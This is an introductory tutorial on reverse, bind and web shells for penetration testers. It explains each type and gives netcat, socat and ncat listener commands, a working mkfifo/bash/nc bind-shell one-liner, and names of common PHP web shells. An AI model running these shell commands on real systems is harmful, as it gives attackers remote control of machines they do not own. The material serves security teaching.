

Shells in Cybersecurity – Reverse, Bind & Web Shells

This document explains **what shells are in cybersecurity**, their **types, purpose**, and **tools commonly used** to create and interact with them. It also includes **practical commands and explanations** in a structured and easy-to-understand format.

1. What is a Shell?

A **shell** is software that allows a user to interact with an operating system. It is usually a **command-line interface (CLI)** that accepts commands and executes them on the system.

In cybersecurity, a shell typically refers to a **remote command execution session** obtained after compromising a system. This allows an attacker or pentester to control the target machine.

Purpose of a Shell in Cybersecurity

- Remote system control
 - Privilege escalation
 - Data exfiltration
 - Persistence and maintaining access
 - Post-exploitation activities
 - Pivoting to other systems in the network
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2. Types of Shells

There are three commonly used shell types in offensive security:

1. Reverse Shell
 2. Bind Shell
 3. Web Shell
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3. Reverse Shell

Definition

A **reverse shell** (also known as a *connect-back shell*) is a technique where the **target system initiates a connection back to the attacker's machine**.

This method is very popular because it can **bypass firewalls and network restrictions** that block incoming connections.

How Reverse Shells Work

1. The attacker sets up a listener on their machine.
 2. The compromised target connects back to the attacker.
 3. A shell session is established on the attacker's listener.
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Tool Used: Netcat (nc)

Netcat is a networking utility that allows reading and writing data across network connections.

Attacker Listener Command

```
nc -lvp 443
```

Flag Breakdown

- `-l` : Listen mode
- `-v` : Verbose output
- `-n` : Disable DNS resolution
- `-p` : Port number to listen on

Common ports used: **53, 80, 443, 8080, 139, 445** (to blend with normal traffic)

4. Bind Shell

Definition

A **bind shell** opens a port on the **target machine** and waits for the attacker to connect.

This method is useful when **outbound connections are blocked**, but it is more detectable since the target keeps a port open.

How Bind Shells Work

1. Target machine starts a listener.
 2. The attacker connects to the exposed port.
 3. A shell session is provided to the attacker.
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Bind Shell Setup on Target

```
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 > /tmp/f
```

Payload Explanation

- `rm -f /tmp/f` : Removes existing named pipe
- `mkfifo /tmp/f` : Creates a FIFO named pipe
- `cat /tmp/f` : Reads input from pipe
- `bash -i 2>&1` : Interactive shell with error redirection
- `nc -l 0.0.0.0 8080` : Listens on port 8080
- `> /tmp/f` : Sends output back to the pipe

Ports below **1024** require root privileges. Port **8080** avoids this.

Attacker Connecting to Bind Shell

```
nc -nv TARGET_IP 8080
```

Flags

- `-n` : No DNS lookup
 - `-v` : Verbose output
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5. Listener Tools for Shells

5.1 Rlwrap

Adds command history and keyboard editing support.

```
rlwrap nc -lvnp 443
```

5.2 Ncat

Enhanced Netcat from the Nmap project, supports SSL.

```
ncat -lvnp 4444
ncat --ssl -lvnp 4444
```

5.3 Socat

Advanced socket utility for reliable shell connections.

```
socat -d -d TCP-LISTEN:443 STDOUT
```

- `-d -d` : Increased verbosity
 - `TCP-LISTEN:443` : Listen on TCP port 443
 - `STDOUT` : Output data to terminal
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6. Web Shell

Definition

A **web shell** is a script uploaded to a compromised web server that allows command execution via a web interface.

Web shells are stealthy and commonly used after exploiting web vulnerabilities such as file upload flaws.

Common Web Shell Languages

- PHP
 - ASP / ASP.NET
 - JSP
 - CGI scripts
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Popular Web Shells

- **p0wny-shell** – Lightweight single-file PHP shell
 - **b374k shell** – Feature-rich PHP web shell
 - **c99 shell** – Advanced PHP web shell with extensive capabilities
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7. Comparison Summary

Shell Type	Connection Direction	Common Use Case
Reverse Shell	Target → Attacker	Bypass firewalls
Bind Shell	Attacker → Target	Outbound blocked
Web Shell	Browser → Server	Web app compromise

8. Conclusion

Reverse shells, bind shells, and web shells are essential techniques in offensive security. Understanding their purpose, tools, and behavior helps security professionals both **exploit vulnerabilities ethically** and **defend against real-world attacks**.